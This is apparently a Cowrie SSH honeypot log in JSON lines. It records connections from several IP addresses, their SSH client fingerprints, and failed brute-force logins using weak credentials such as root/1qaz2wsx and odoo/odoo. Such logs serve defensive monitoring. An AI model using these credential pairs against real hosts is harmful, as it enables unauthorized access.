{"eventid":"cowrie.session.connect","src_ip":"202.29.225.158","src_port":39068,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2da073081fc","protocol":"ssh","message":"New connection: 202.29.225.158:39068 (10.17.0.5:22) [session: a2da073081fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:49.236444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:49.239867Z","src_ip":"202.29.225.158","session":"a2da073081fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:49.482272Z","src_ip":"202.29.225.158","session":"a2da073081fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2020@#","message":"login attempt [root/unitedstates2020@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:50.220918Z","src_ip":"202.29.225.158","session":"a2da073081fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:51.467449Z","src_ip":"202.29.225.158","session":"a2da073081fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":16945,"dst_ip":"10.17.0.5","dst_port":22,"session":"edf97e128420","protocol":"ssh","message":"New connection: 5.196.136.131:16945 (10.17.0.5:22) [session: edf97e128420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:51.818198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:51.823043Z","src_ip":"5.196.136.131","session":"edf97e128420","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:51.902678Z","src_ip":"5.196.136.131","session":"edf97e128420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:52.143616Z","src_ip":"5.196.136.131","session":"edf97e128420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:53.225608Z","src_ip":"5.196.136.131","session":"edf97e128420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":26004,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7e4a34ca1c9","protocol":"ssh","message":"New connection: 5.196.136.131:26004 (10.17.0.5:22) [session: b7e4a34ca1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:56.190029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:56.193984Z","src_ip":"5.196.136.131","session":"b7e4a34ca1c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:56.271422Z","src_ip":"5.196.136.131","session":"b7e4a34ca1c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:56.507043Z","src_ip":"5.196.136.131","session":"b7e4a34ca1c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:45:57.589689Z","src_ip":"5.196.136.131","session":"b7e4a34ca1c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":9952,"dst_ip":"10.17.0.5","dst_port":22,"session":"418d2d0bda77","protocol":"ssh","message":"New connection: 5.196.136.131:9952 (10.17.0.5:22) [session: 418d2d0bda77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:00.701146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:00.705172Z","src_ip":"5.196.136.131","session":"418d2d0bda77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:00.787269Z","src_ip":"5.196.136.131","session":"418d2d0bda77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:01.021865Z","src_ip":"5.196.136.131","session":"418d2d0bda77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:02.101636Z","src_ip":"5.196.136.131","session":"418d2d0bda77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":33263,"dst_ip":"10.17.0.5","dst_port":22,"session":"30ef34dd9ef7","protocol":"ssh","message":"New connection: 5.196.136.131:33263 (10.17.0.5:22) [session: 30ef34dd9ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:05.137310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:05.141682Z","src_ip":"5.196.136.131","session":"30ef34dd9ef7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:05.219398Z","src_ip":"5.196.136.131","session":"30ef34dd9ef7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"123456","message":"login attempt [user1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:05.456443Z","src_ip":"5.196.136.131","session":"30ef34dd9ef7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:06.536381Z","src_ip":"5.196.136.131","session":"30ef34dd9ef7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":36496,"dst_ip":"159.203.135.109","dst_port":22,"session":"729a3b7ee188","protocol":"ssh","message":"New connection: 45.148.10.121:36496 (159.203.135.109:22) [session: 729a3b7ee188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:08.249488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:08.253845Z","src_ip":"45.148.10.121","session":"729a3b7ee188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:08.339438Z","src_ip":"45.148.10.121","session":"729a3b7ee188","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":19560,"dst_ip":"10.17.0.5","dst_port":22,"session":"d47488008c18","protocol":"ssh","message":"New connection: 5.196.136.131:19560 (10.17.0.5:22) [session: d47488008c18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:09.558693Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:09.562387Z","src_ip":"5.196.136.131","session":"d47488008c18","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:09.643725Z","src_ip":"5.196.136.131","session":"d47488008c18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazXSW@","message":"login attempt [root/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:09.920105Z","src_ip":"5.196.136.131","session":"d47488008c18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:11.004717Z","src_ip":"5.196.136.131","session":"d47488008c18","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":18894,"dst_ip":"10.17.0.5","dst_port":22,"session":"2905a6462086","protocol":"ssh","message":"New connection: 5.196.136.131:18894 (10.17.0.5:22) [session: 2905a6462086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:13.984488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:13.989290Z","src_ip":"5.196.136.131","session":"2905a6462086","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:14.069240Z","src_ip":"5.196.136.131","session":"2905a6462086","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123456","message":"login attempt [root/qwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:14.303226Z","src_ip":"5.196.136.131","session":"2905a6462086","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:15.383389Z","src_ip":"5.196.136.131","session":"2905a6462086","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":20038,"dst_ip":"10.17.0.5","dst_port":22,"session":"fdcc998dee7b","protocol":"ssh","message":"New connection: 5.196.136.131:20038 (10.17.0.5:22) [session: fdcc998dee7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:18.469071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:18.473595Z","src_ip":"5.196.136.131","session":"fdcc998dee7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:18.550966Z","src_ip":"5.196.136.131","session":"fdcc998dee7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:18.786279Z","src_ip":"5.196.136.131","session":"fdcc998dee7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.3.77.254","src_port":42226,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ead73f8fd18","protocol":"ssh","message":"New connection: 95.3.77.254:42226 (10.17.0.5:22) [session: 5ead73f8fd18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:19.027399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:46:19.032002Z","src_ip":"95.3.77.254","session":"5ead73f8fd18","protocol":"ssh"}
